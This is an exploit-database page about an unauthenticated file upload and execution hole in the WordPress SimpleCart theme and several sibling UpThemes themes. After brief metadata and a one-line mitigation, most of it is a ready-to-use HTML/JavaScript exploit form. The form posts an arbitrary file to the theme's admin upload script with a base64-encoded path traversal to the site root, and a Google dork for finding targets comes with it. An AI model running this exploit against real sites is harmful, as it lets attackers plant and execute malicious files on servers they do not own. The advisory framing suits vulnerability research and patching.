Wordpress SimpleCart Theme File Upload and Execution

vendor:

SimpleCart Theme

by:

Divya

7.5

CVSS

HIGH

File Upload and Execution

434

CWE

Product Name: SimpleCart Theme

Affected Version From: 2.1.2002

Affected Version To: 2.1.2002

Patch Exists: NO

Related CWE: None

CPE: a:upthemes:simplecart_theme

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux

2015

WordPress SimpleCart Theme File Upload and Execution

A vulnerability exists in the Wordpress SimpleCart Theme, which allows an attacker to upload and execute malicious files on the target system. The vulnerability is due to the lack of proper input validation in the upload.php file. An attacker can exploit this vulnerability by sending a malicious file to the upload.php file and then executing it on the target system. This vulnerability affects versions 2.1.2 and earlier of the SimpleCart Theme. Other themes such as Micro Theme 1.0.3, Holding Pattern Theme 1.3, Gallery Pro Theme 2.5.3, Evo Theme 1.3, and Charity Theme 1.1.3 are also affected.

Mitigation:

Input validation should be implemented in the upload.php file to prevent malicious files from being uploaded and executed on the target system.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress SimpleCart Theme File Upload and Execution
# Google Dork: inurl:/wp-content/themes/simplecart
# Date: 31 March 2015
# Exploit Author: Divya
# Vendor Homepage: https://github.com/UpThemes/
# Software Link: https://github.com/UpThemes/SimpleCart-Theme
# Version: 2.1.2
# Tested on: Windows, Linux
# CVE : None
#
# Other Themes:
# Micro Theme 1.0.3: https://github.com/UpThemes/Micro-Theme
# Holding Pattern Theme 1.3: https://github.com/UpThemes/Holding-Pattern-Theme
# Gallery Pro Theme 2.5.3: https://github.com/UpThemes/Gallery-Pro-Theme/
# Evo Theme 1.3: https://github.com/UpThemes/Evo-Theme
# Charity Theme 1.1.3: https://github.com/UpThemes/Charity-Theme/

<html>
<head>
<title>WP Theme Exploit</title>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/md5.js"></script>
<script src="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/components/enc-base64-min.js"></script>
<script>
function process_data()
{
	var proto = "http://";
	if (document.getElementById('rb1').checked)
	{
		proto = document.getElementById('rb1').value;
	}
	var targetip = document.getElementById('targetip').value;
	var filepath = document.getElementById('vfile').value;
	var formaction = proto.concat(targetip,filepath);
	document.getElementById("myform").setAttribute("action", formaction);
	document.getElementById("file1").setAttribute("name", CryptoJS.MD5(document.getElementById('targetip').value));
	return true;
}
</script>
</head>
<body>
<form id="myform" name="myform" action="#" method="post" enctype="multipart/form-data">
	Target IP: <input type="text" id="targetip" name="targetip">
	<input type="radio" id="rb1" name="rb1" value="http://" checked>HTTP 
	<input type="radio" id="rb1" name="rb1" value="https://">HTTPS <br>
	Upload File: <input type="file" id="file1" name="n1"><br> <!--name="00958fd0af98291fdf517e3fe763da5c"-->
	Upload Path: <input type="text" id="upload_path" name="upload_path" value="Li4vLi4vLi4vLi4v"><br><br>
	<fieldset>
	<legend>Base64 Encoded value (without double quotes)</legend>
	1. "Li4vLi4vLi4vLi4v" for website root directory upload.<br>
	2. "Lg==" for current directory upload.<br>
	</fieldset><br>
	Vulnerable File: <input type="text" id="vfile" name="vfile" value="/wp-content/themes/simplecart/admin/upload-file.php" size="100%"><br><br>
	<input type="submit" value="Exploit" onClick="process_data()">
</form>
</body>
</html>